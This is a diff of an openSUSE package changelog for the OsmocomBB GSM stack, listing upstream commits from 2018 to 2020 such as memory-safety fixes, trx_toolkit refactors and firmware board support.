+Sun Mar 01 21:03:11 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1583004133.60ce3457:
+ * mobile/gsm322: fix use-after-free of cs->si reported by ASan
+ * layer23/l1ctl: fix NULL-pointer dereference reported by ASan
+ * trxcon/scheduler: print completeness of the Rx burst buffers
+
+-------------------------------------------------------------------
+Fri Feb 28 21:04:03 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1582822000.2d355c24:
+ * virt_phy/build: add configure option to build with ASan/USBan
+
+-------------------------------------------------------------------
+Wed Feb 26 21:04:18 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1582672384.938faa16:
+ * layer23: Terminate process if L2 socket fails/dissappears
+
+-------------------------------------------------------------------
+Wed Jan 15 21:15:37 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1578932905.5738e579:
+ * layer23: Fix build against gpsd >= 3.20
+
+-------------------------------------------------------------------
+Tue Dec 31 21:03:43 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1577811950.69707553:
+ * layer23: Avoid sending downlink AGCH/PCH fill frames over GSMTAP
+ * layer23: Identify AGCH from PCH on tx of GSMTAP downlink messages
+ * mobile: Send correct ARFCN in UL gsmtap
+ * trx_toolkit/data_dump.py: rewrite unit tests to use unittest framework
+ * trx_toolkit/data_msg.py: rewrite unit tests to use unittest framework
+ * contrib/jenkins.sh: also run unit tests for TRX Toolkit
+ * contrib/jenkins.sh: also verify building the firmware
+
+-------------------------------------------------------------------
+Fri Dec 20 21:06:39 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1576856841.4ddb2e61:
+ * layer23: Fix trailing whitespace
+
+-------------------------------------------------------------------
+Mon Dec 09 21:11:04 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1575466916.5b7fc0a8:
+ * trxcon: Use current MS Power on dummy meas reports
+
+-------------------------------------------------------------------
+Sun Dec 01 21:13:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1575205902.7069dfc0:
+ * trxcon/sched_trx.c: fix potential NULL-pointer dereference
+ * Check for osmo_fsm_register() error return value
+
+-------------------------------------------------------------------
+Mon Nov 25 21:09:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1574537082.a15fbcbd:
+ * trx_toolkit/clck_gen.py: drop unneeded debug print()
+ * trx_toolkit/clck_gen.py: turn CLCKGen's thread into a daemon
+ * trx_toolkit/clck_gen.py: refactor CLCKGen to use a single thread
+
+-------------------------------------------------------------------
+Wed Nov 20 21:11:37 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1574262357.ae8e5ad6:
+ * trx_toolkit/fake_trx.py: send NOPE.ind in case of path loss simulation
+ * trx_toolkit/data_msg.py: fix: NOPE.ind also contains C/I filed
+ * trx_toolkit/fake_trx.py: refactor L12TRX -> TRX2L1 burst transformation
+ * mobile/gsm48_mm.h: use fixed-size integer types in packed structures
+
+-------------------------------------------------------------------
+Mon Nov 18 21:08:41 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1573991351.62164b9e:
+ * mobile/gsm48_mm.h: mark some structures as 'packed'
+ * mobile/gsm48_rr.c: fix NULL-pointer dereference in gsm48_rr_check_mode()
+ * trx_toolkit: fix: do not use 'is' / 'is not' with string and numerical literals
+
+-------------------------------------------------------------------
+Tue Nov 05 21:18:36 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1572954742.eb0560e1:
+ * trxcon: Fix missing header for GSM_MACBLOCK_LEN
+
+-------------------------------------------------------------------
+Mon Oct 28 21:03:29 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1571753251.a4046877:
+ * Fix typo: miliseconds -> milliseconds
+
+-------------------------------------------------------------------
+Tue Oct 22 20:05:28 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1571299659.1f7a2ab5:
+ * Fix common misspellings and typos
+
+-------------------------------------------------------------------
+Sat Oct 05 20:02:36 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1570272620.9731f0d3:
+ * host/trxcon: add optional GSMTAP frame logging support
+ * trxcon/scheduler: fix handling of PTCCH logical channel
+ * trxcon/scheduler: fix comment in description of PDTCH
+
+-------------------------------------------------------------------
+Thu Aug 29 20:09:23 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1567094524.5afc0e4c:
+ * trx_toolkit/data_msg.py: enrich some ValueError messages
+ * trx_toolkit/data_msg.py: also print burst length in desc_hdr()
+ * trx_toolkit/data_msg.py: fix: make sure header version is known
+ * trx_toolkit/data_msg.py: fix message length check in parse_msg()
+
+-------------------------------------------------------------------
+Wed Aug 28 20:04:31 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1566933211.5fed799d:
+ * trx_toolkit/trx_sniff.py: also print header for incorrect messages
+ * trx_toolkit/trx_sniff.py: also validate() sniffed messages
+ * trx_toolkit/trx_sniff.py: print exact message parsing error
+ * trx_toolkit/data_msg.py: raise exceptions from validate() methods
+
+-------------------------------------------------------------------
+Tue Aug 27 20:05:47 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1565523210.ad84c7b2:
+ * fw: Add support for Huawei GTM900-B modules
+ * fw/flash: Read extended ID, expose API
+ * fw/keypad: Poll Iota powerbutton if required
+ * fw/abb/twl3025: Add function to query PWON state
+
+-------------------------------------------------------------------
+Mon Aug 12 20:12:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1565523207.a1de51d3:
+ * fw/build: Use arm-none-eabi as default toolchain
+
+-------------------------------------------------------------------
+Fri Aug 09 20:16:50 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1565357597.f5afdf4c:
+ * fb_tools/bdf_to_c.py: make it compatible with python3
+
+-------------------------------------------------------------------
+Thu Aug 08 21:57:40 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1565015080.2cc33927:
+ * trx_toolkit: Fixes in TRXD documentation
+ * Remove undefined param passed to logging_vty_add_cmds
+
+-------------------------------------------------------------------
+Wed Jul 24 20:37:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1563921859.fe981d65:
+ * trx_toolkit/trx_sniff.py: support additional capture filter
+ * trx_toolkit/trx_sniff.py: support sniffing on multiple ports
+ * trx_toolkit/trx_sniff.py: add support for reading from PCAP file
+ * trx_toolkit/burst_gen.py: basic TRXD header version 1 support
+ * trx_toolkit: fix compatibility with Python 3: 'is' vs '=='
+ * trx_toolkit/rand_burst_gen.py: fix compatibility with Python 3
+ * trx_toolkit/trx_sniff.py: fix compatibility with Python 3
+
+-------------------------------------------------------------------
+Sun Jul 21 20:11:01 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1563724017.d0a8b49d:
+ * gsm411_sms.c: Handle negative return of gsm340_gen_oa()
+ * virt_phy: Fix hexdump of L1CTL SIM REQ in l1ctl_rx_sim_req()
+ * mobile/gsm480_ss.c: gsm480_tx_release_compl(): fix cause IE encoding
+ * virtphy: Handle strtok() returning NULL on first call
+ * osmocon: Check write() return code
+ * osmocon: Add missing check for fstat() return value
+ * mobile: Fix encoding of cause in gsm480_tx_release_compl()
+ * osmocon: Fix file descriptor + mem leak in error path
+ * gsm322: Fix resource leak in gsm322_init() while reading BA
+ * osmocon: Fix fd leak in error path of read_file()
+ * osmocon: Fix out-of-bounds for partial reads in un_tool_read()
+ * virtphy: Fix array out of bounds access in getL1ctlPrimName()
+
+-------------------------------------------------------------------
+Wed Jul 17 19:12:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1563317172.998ed796:
+ * target/*.py: shebang: use /usr/bin/env python
+
+-------------------------------------------------------------------
+Tue Jul 16 20:10:02 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1563263544.3d9a1d6e:
+ * trx_toolkit/fake_trx.py: introduce a TRXC command for C/I simulation
+ * trx_toolkit/ctrl_if_trx.py: implement TRXD header version negotiation
+ * trx_toolkit/fake_trx.py: basic TRXD version 0x01 support
+ * trx_toolkit/rand_burst_gen.py: use TrainingSeqGMSK and BurstType enums
+ * trx_toolkit/gsm_shared.py: introduce a new enum TrainingSeqGMSK
+
+-------------------------------------------------------------------
+Thu Jul 11 20:22:22 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1562854243.1fa8e29e:
+ * target_dsp/bin2cfile.py: make it compatible with python3
+ * firmware/solve_envs.py: make it compatible with python3
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Wed Jul 03 20:12:42 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1562050086.62825cc8:
+ * trx_toolkit/data_msg.py: legacy flag is only for version 0x00
+ * trx_toolkit/data_msg.py: introduce header coding version 0x01
+ * trx_toolkit/data_msg.py: implement header version coding
+
+-------------------------------------------------------------------
+Tue Jul 02 20:18:44 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1561977585.851d35c6:
+ * trx_toolkit/data_msg.py: add burst randomization helpers
+ * trx_toolkit/data_msg.py: mark bit conversion methods as @staticmethod
+
+-------------------------------------------------------------------
+Mon Jul 01 20:07:52 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1561890611.0ded4757:
+ * trxcon/scheduer: fix: properly check rc of gsm0503_pdtch_encode()
+ * trxcon/scheduler: enrich GSM 05.03 encoding error messages
+
+-------------------------------------------------------------------
+Mon Jun 24 20:17:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1561385889.696fe71a:
+ * trx_toolkit/data_msg.py: add basic class documentation
+ * trx_toolkit/data_msg.py: inline both gen_fn() and parse_fn()
+ * trx_toolkit/data_msg.py: drop double field initialization
+ * trx_toolkit/data_msg.py: tests: use random reference data
+ * trxcon/scheduler: fix bit shift in BSIC / TDMA FN calculation
+
+-------------------------------------------------------------------
+Sun Jun 02 20:03:31 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1559479452.924d2412:
+ * trxcon/l1ctl.c: properly handle handover RACH request
+ * trxcon/scheduler: fix: do not ignore SACCH prims with odd length
+
+-------------------------------------------------------------------
+Fri May 31 20:03:55 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1559328163.6e980866:
+ * trx_toolkit/data_msg.py: fix: extend RSSI value range to [-47..-120]
+ * trxcon/sched_mframe.c: mark all stolen CBCH UL slots as TRXC_IDLE
+ * trxcon/trx_if.c: Dropping UL bursts is a noticeable event
+ * trxcon: Suppress POWERON to TRX if we're already powered on.
+
+-------------------------------------------------------------------
+Thu May 30 20:03:43 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1559163556.1a66c299:
+ * trxcon/scheduler: move PRIM_IS[_EXT]_RACH macros to sched_trx.h
+ * trxcon/l1ctl.c: on L1CTL_DM_EST_REQ, determine pchan_config first
+
+-------------------------------------------------------------------
+Wed May 29 20:03:50 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1559050062.1efe26f4:
+ * trxcon/l1ctl.c: use #define for RSL_CHAN_RACH
+ * trxcon/sched_mframe.c: do not hard-code lchan combinations
+
+-------------------------------------------------------------------
+Tue May 28 20:14:23 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Remove patch (fixed by upstream):
+ * 0001-Fix-no-return-in-nonvoid-function-in-bcch_scan.c.patch
+
+-------------------------------------------------------------------
+Tue May 28 20:03:34 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1559035335.189da79e:
+ * trxcon/sched_lchan_desc.c: fix missing TRX_CH_FLAG_AUTO flag
+ * virt_phy: Fix typo in log message
+ * layer23: fix tons of compiler warnings, mostly OSMO_DEPRECATED related
+ * trxcon/scheduler: refactor description of TRXC_* lchans
+ * trxcon/sched_trx.c: add missing branch for GSM_PCHAN_PDCH
+ * firmware/scheduler: Fix CBCH related RSL channel numbers
+ * trxcon: Use RSL channel mode #defines from libosmogsm
+ * trxcon: Fix CBCH related RSL channel numbers
+
+-------------------------------------------------------------------
+Fri May 24 20:03:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1558616536.00513d65:
+ * common/sap_fsm.c: fix missing pointer dereference
+
+-------------------------------------------------------------------
+Thu May 23 20:03:36 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1558554357.4b9a3513:
+ * contrib/jenkins.sh: Build gprsdecode + laye23 with 'make distcheck'
+ * layer23: Fix 'make distcheck'
+ * bcch_scan: Fix compiler warning about undefined functions
+
+-------------------------------------------------------------------
+Fri May 17 20:03:37 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1558096831.ab7118a2:
+ * trx_toolkit/clck_gen.py: avoid logging \0-terminator
+
+-------------------------------------------------------------------
+Tue May 14 20:03:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1557841959.507781ee:
+ * common/sim.c: add missing break to sim_apdu_resp()
+ * firmware/Makefile: clarify toolchain configuration include
+ * firmware/Makefile.inc: fix sections with overlapping VMA
+
+-------------------------------------------------------------------
+Fri May 10 20:03:49 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1557445992.0f5f76f6:
+ * trxcon/trx_if.c: use ssize_t for return value of read()
+ * trxcon/trx_if.c: print error message if read() call fails
+ * trxcon/trx_if.c: use read() call instead of recv()
+
+-------------------------------------------------------------------
+Thu May 09 20:03:45 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1557414522.1f07f3e3:
+ * trxcon/l1ctl.c: init DL info header in l1ctl_tx_rach_conf()
+ * trxcon/l1ctl.c: pass band_arfcn to l1ctl_tx_rach_conf()
+
+-------------------------------------------------------------------
+Fri May 03 20:03:41 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1556837870.cb9e0204:
+ * mobile/gsm48_mm.c: use proper types for gsm48_rr_hdr
+ * mobile/gsm48_rr.h: mark gsm48_rr_hdr struct as packed
+ * mobile/gsm322.c: fix heap-use-after-free in gsm322_unselect_cell()
+
+-------------------------------------------------------------------
+Sat Apr 27 20:03:34 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1556356528.b4bd78a8:
+ * lua: Add a sentinel for the fd function table
+
+-------------------------------------------------------------------
+Wed Apr 24 20:04:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1556093523.cca67cfe:
+ * trx_toolkit/data_msg.py: fix TOA256 MIN/MAX constants
+
+-------------------------------------------------------------------
+Mon Apr 22 20:03:52 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1555924643.4dd92e25:
+ * trxcon: introduce extended (11-bit) RACH support
+ * l1ctl_proto.h: add extended RACH (11-bit) request message
+
+-------------------------------------------------------------------
+Fri Mar 22 21:03:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1553183936.e9bedd12:
+ * trxcon: use static helper to prepare FBSB
+ * trxcon: log FBSB timer events
+
+-------------------------------------------------------------------
+Thu Mar 21 21:03:32 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1553179589.7f024a30:
+ * trxcon: use helper to add l1ctl_info_dl
+ * trxcon: use bool for fbsb_conf_sent
+
+-------------------------------------------------------------------
+Tue Mar 12 21:08:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1552206749.803e420a:
+ * trxcon/scheduler: clarify decoding of incomplete xCCH blocks
+
+-------------------------------------------------------------------
+Tue Mar 05 21:05:40 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1551811821.4d3337c9:
+ * target/firmware/tiffs: update copyright statements
+
+-------------------------------------------------------------------
+Sat Feb 23 21:03:37 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1550744436.4bc4655b:
+ * trxcon/scheduler: count number of measurements
+
+-------------------------------------------------------------------
+Wed Feb 20 21:09:54 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1550564336.94736992:
+ * firmware/lib: introduce TIFFS filesystem support
+ * firmware/board: introduce new FCDEV3B (FreeCalypso) target
+
+-------------------------------------------------------------------
+Sun Feb 17 21:03:32 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1550056034.28aa9675:
+ * firmware/board/compal_e99: enable reading the second half of flash
+ * firmware/board/compal: indicate both DCS and PCS Rx ports as connected
+
+-------------------------------------------------------------------
+Fri Feb 15 21:03:32 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1549909688.432dbdf3:
+ * firmware/board/gta0x: fix GPIO and ASIC_CONF_REG configuration
+ * firmware/board/pirelli_dpl10: fix ASIC_CONF_REG setting
+
+-------------------------------------------------------------------
+Sun Feb 03 21:02:41 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1549100270.1c6263b2:
+ * common/sim.c: use msgb_get() in gsm_sim_reply()
+ * common/sim.c: get rid of unused 'payload' pointer
+ * common/osmocom_data.h: use proper type for SAP card status
+ * common/sap_fsm.c: register SAP FSM on DSO load
+ * mobile/gsm322.c: fix: properly print stored BA list entities
+
+-------------------------------------------------------------------
+Wed Jan 23 21:02:39 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1548258778.9ec58916:
+ * mobile/gsm480_ss.c: fix build: apply msgb_wrap_with_TL() rename
+
+-------------------------------------------------------------------
+Thu Jan 17 21:03:03 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1547730084.851039cb:
+ * trxcon/l1ctl.c: fix memleak triggered by unsupported messages
+ * trxcon/trxcon.c: do not expose tall_trx_ctx
+ * trxcon/l1ctl_link.c: refactor l1ctl_link_init()
+ * trxcon/trx_if: refactor trx_if_open()
+ * trxcon: do not include trxcon.h everywhere
+ * trxcon/trx_if.c: check if trx_fsm allocation failed
+ * trxcon/l1ctl_link.c: check if l1ctl_fsm allocation failed
+ * trxcon: register both l1ctl_fsm and trx_fsm on DSO load
+ * trxcon/sched_trx.c: use bool in sched_trx_reset()
+
+-------------------------------------------------------------------
+Tue Jan 15 21:02:44 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1547509951.59d20f6d:
+ * trx_toolkit/README: update fake_trx.py description
+ * trx_toolkit/transceiver.py: add optional transceiver name
+ * trx_toolkit/transceiver.py: add init logging message
+ * trx_toolkit: use 'TRXC' and 'TRXD' in logging messages
+ * trx_toolkit/{ctrl,data}_if.py: add init log message
+ * trx_toolkit/fake_trx.py: enrich TRX logging messages
+ * trx_toolkit/fake_trx.py: move init code to __init__()
+ * layer23/sap_interface.c: reimplement (BT)SAP interface
+
+-------------------------------------------------------------------
+Sun Jan 13 21:02:39 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1547372011.e4e3e6fa:
+ * trx_toolkit/fake_trx.py: fix: update trx_list of FakePM
+ * trx_toolkit/fake_trx.py: handle multiple transceivers
+ * trx_toolkit/transceiver.py: add support for child transceivers
+ * trx_toolkit/burst_fwd.py: fix trx_list cross-reference
+
+-------------------------------------------------------------------
+Mon Jan 07 21:06:54 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1546875592.d2004ae4:
+ * layer23/sap_interface.c: separate protocol definition
+ * layer23/include/Makefile.am: add missing header
+ * layer23/sap_interface.c: avoid using 'osmo' prefix
+ * layer23/sap_interface.c: define missing enums and use them
+ * layer23/sap_interface.c: terminate value_string definitions
+ * layer23/sap_interface.c: prettify value_string definitions
+ * layer23/sap_interface.c: fix: properly call sap_msg_free()
+
+-------------------------------------------------------------------
+Fri Jan 04 21:02:46 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1546428187.5caa4ac9:
+ * trxcon/scheduler: fix RSSI -> RX level conversion
+
+-------------------------------------------------------------------
+Wed Dec 26 21:02:35 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1545857538.684fa75b:
+ * layer23/sap_interface.c: use LOGP() instead of fprintf()
+ * layer23/sap_interface.c: use int for rc in sap_open()
+ * layer23/sap_interface.c: remove redundant socket_path argument
+ * layer23/sap_interface.c: drop unused osmosap_sapsocket()
+ * layer23/sap_interface.c: return rc from osmosap_send_apdu()
+ * layer23/include/sap_interface.h: use #pragma once
+ * mobile/subscriber.c: consider GSM_SIM_TYPE_SAP too
+ * host/layer23: rename GSM_SIM_TYPE_READER to GSM_SIM_TYPE_L1PHY
+ * layer23/common/sim.c: don't ignore rc of sim_apdu_send()
+
+-------------------------------------------------------------------
+Sun Dec 23 21:02:42 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1545542737.271993c2:
+ * mobile: Use new VTY telnet API to allow binding to random port
+
+-------------------------------------------------------------------
+Wed Dec 19 21:02:47 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1545221922.2e861308:
+ * layer23/mobile: drop dead SAP initialization code
+ * host/layer23/sap_interface.c: cosmetic: use ARRAY_SIZE()
+ * host/layer23: don't init SAP interface by default
+
+-------------------------------------------------------------------
+Tue Dec 18 21:02:46 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1545086831.152a2da8:
+ * trx_toolkit/fake_trx.py: refactor global class hierarchy
+ * trx_toolkit/data_if.py: add optional legacy message coding flag
+ * trx_toolkit/data_msg.py: add optional legacy message coding flag
+ * trx_toolkit/data_msg.py: use struct API for fn and toa256 coding
+
+-------------------------------------------------------------------
+Mon Dec 17 21:02:43 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1544919251.016361cd:
+ * trx_toolkit/ctrl_if_bb.py: drop meaningless warnings
+ * trx_toolkit/burst_send.py: exit if DATA dump parsing failed
+ * trx_toolkit/burst_send.py: fix: use proper argparse group
+ * trx_toolkit: fix missing / useless imports
+
+-------------------------------------------------------------------
+Wed Dec 12 21:03:23 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1544620059.60e402d1:
+ * contrib/jenkins.sh: build and publish manuals
+
+-------------------------------------------------------------------
+Tue Dec 11 21:02:57 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1544550198.810b696b:
+ * trx_toolkit/data_if.py: add message parsing methods
+ * trx_toolkit/ctrl_if.py: read data from socket in handle_rx()
+ * trx_toolkit/ctrl_if_*.py: transparently pass UDPLink arguments
+ * trx_toolkit/ctrl_if_bb.py: fix SETTA command handling
+
+-------------------------------------------------------------------
+Fri Dec 07 21:02:48 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1544209850.59debdcd:
+ * trx_toolkit: merge copyright.py into app_common.py
+ * trx_toolkit: introduce logging configuration arguments
+ * trx_toolkit/fake_trx.py: migrate from getopt to argparse
+ * trx_toolkit/trx_sniff.py: migrate from getopt to argparse
+ * trx_toolkit/ctrl_cmd.py: migrate from getopt to argparse
+ * trx_toolkit/burst_send.py: migrate from getopt to argparse
+ * trx_toolkit/burst_gen.py: migrate from getopt to argparse
+ * trx_toolkit/burst_gen.py: fix short version of --burst-type
+ * trx_toolkit: use generic logging module instead of print()
+ * trx_toolkit/fake_trx.py: drop randomization related cmd options
+ * trx_toolkit/burst_fwd.py: also pass-filter UL bursts by time-slot
+ * trx_toolkit/burst_fwd.py: properly pass-filter multiple time-slots
+ * trx_toolkit/burst_fwd.py: document and refactor BurstForwarder
+
+-------------------------------------------------------------------
+Tue Dec 04 21:03:10 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1543925699.9fd173b1:
+ * doc/manuals: integrate into this repository
+
+-------------------------------------------------------------------
+Thu Nov 29 21:02:42 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1543507887.43fb867c:
+ * trxcon/l1ctl.c: handle hopping channels from L1CTL_DM_EST_REQ
+ * trxcon/trx_if.c: add SETFH CTRL command support
+
+-------------------------------------------------------------------
+Wed Nov 28 21:02:46 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1543421115.e5c385fb:
+ * build manuals moved here from osmo-gsm-manuals.git
+ * osmocomBB: Begin with a manual for the "mobile" application
+
+-------------------------------------------------------------------
+Thu Nov 22 19:01:03 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1542874805.d72aeb8e:
+ * trxcon/l1ctl.c: fix deprecated gsm_band_name() usage
+
+-------------------------------------------------------------------
+Wed Nov 21 20:21:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1542771417.da96b3c0:
+ * mobile: use VTY bind addr from config, deprecate cmd line options
+ * mobile: abort in case of argv handling errors
+ * mobile/app_mobile.c: use LOGP() instead of printf()/fprintf()
+ * mobile/app_mobile.c: drop redundant printf() call
+ * Revert "mobile: fix vty bind ip override"
+
+-------------------------------------------------------------------
+Tue Nov 20 19:12:20 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1542644411.c8de8cb1:
+ * mobile: fix vty bind ip override
+
+-------------------------------------------------------------------
+Mon Nov 19 18:33:39 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1542619579.dcc7e607:
+ * Fix build with latest libosmocore
+ * l1l2 interface: use LOGP for socket errors
+ * osmocon: log error cause for socket opening
+ * mobile: log socket path on error
+
+-------------------------------------------------------------------
+Sun Nov 18 21:02:51 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1542400675.d4450333:
+ * mobile: use proper type for boolean flags
+ * mobile: add header for MS' MNCC functions
+
+-------------------------------------------------------------------
+Thu Nov 08 21:02:52 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1541688410.927d030a:
+ * layer23: Avoid mempcy with NULL src
+
+-------------------------------------------------------------------
+Wed Nov 07 21:07:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1541445765.4f85fb30:
+ * layer23: Fix build against gpsd >= 3.18
+ * cosmetic: fix trailing whitespace
+
+-------------------------------------------------------------------
+Mon Nov 05 21:04:28 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1541394837.219ed20c:
+ * l1ctl_proto.h: use flexible array member for traffic messages
+
+-------------------------------------------------------------------
+Tue Oct 30 21:03:05 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1540594465.d350e9f3:
+ * layer23/l1ctl.c: fix: use host byte order for TDMA fn
+
+-------------------------------------------------------------------
+Sat Oct 27 20:02:47 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1540594185.f8edc455:
+ * layer23/common: move SIM APDU caching from l1ctl.c
+
+-------------------------------------------------------------------
+Fri Oct 26 20:02:59 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1540576367.d464fe53:
+ * trxcon: make TRX bind address configurable
+ * Report socket path on errors
+
+-------------------------------------------------------------------
+Tue Oct 23 20:03:00 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1540245613.5516f2ca:
+ * fake_trx: introduce CTRL commands for RSSI simulation
+
+-------------------------------------------------------------------
+Mon Oct 22 20:03:00 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1540195231.f6e1429f:
+ * firmware: set corret shebang in solve_envs.py python2 script
+
+-------------------------------------------------------------------
+Sun Oct 21 17:25:39 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1540068179.0a1da468:
+ * trxcon/scheduler: add PDTCH channel support
+
+-------------------------------------------------------------------
+Fri Oct 05 20:02:46 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1538570785.1a892eeb:
+ * layer23/l1ctl.c: clean up & fix message length checking
+ * layer23/l1ctl.c: avoid confusion between L1CTL / L1 headers
+ * layer23/l1ctl.c: fix: verify msg length using l1h, not l2h
+ * layer23/l1ctl.c: fix: verify msg length against l1ctl_hdr
+ * layer23/l1ctl.c: keep L1 header, drop L1CTL header
+
+-------------------------------------------------------------------
+Wed Oct 03 20:02:41 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1538555831.b52a5db5:
+ * trxcon/scheduler: add dedicated CBCH mode support
+ * l1ctl_proto.h: extend ccch_mode enum with CBCH
+ * trxcon/scheduler: add CCCH/SDCCH mframe layouts with CBCH
+ * firmware/layer1: add scheduler tasks for CBCH
+ * firmware/layer1: inform about unhandled scheduler tasks
+ * trxcon/l1ctl.c: properly handle indicated CCCH mode
+ * trxcon/sched_lchan_desc.c: fix wrong chan_nr for PDCH
+ * layer23/app_ccch_scan.c: omit dummy (fill) frames
+ * layer23/app_ccch_scan.c: hexdump unhandled PCH/AGCH messages
+ * layer23/app_ccch_scan.c: print pdisc in error message
+ * layer23/app_ccch_scan.c: clean up System Information handling
+ * layer23/app_ccch_scan.c: print 'new-line' char locally
+ * layer23/app_ccch_scan.c: clean up copy-pasted code
+
+-------------------------------------------------------------------
+Sat Sep 29 19:48:24 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1538176558.0cd4252a:
+ * trxcon/scheduler: fix Measurement Reporting on SACCH
+ * trxcon/sched_prim.c: drop redundant tn validation
+
+-------------------------------------------------------------------
+Fri Sep 28 20:02:43 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1538087486.195fe9b8:
+ * trxcon/scheduler: pass talloc ctx directly to sched_prim_init()
+ * trxcon/scheduler: pass lchan state to sched_prim_dequeue()
+
+-------------------------------------------------------------------
+Sat Sep 22 20:02:38 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1537539586.c572682e:
+ * layer23/l1ctl.c: replace printf() calls by LOGP
+ * layer23/l1ctl.c: drop redundant printf() call
+
+-------------------------------------------------------------------
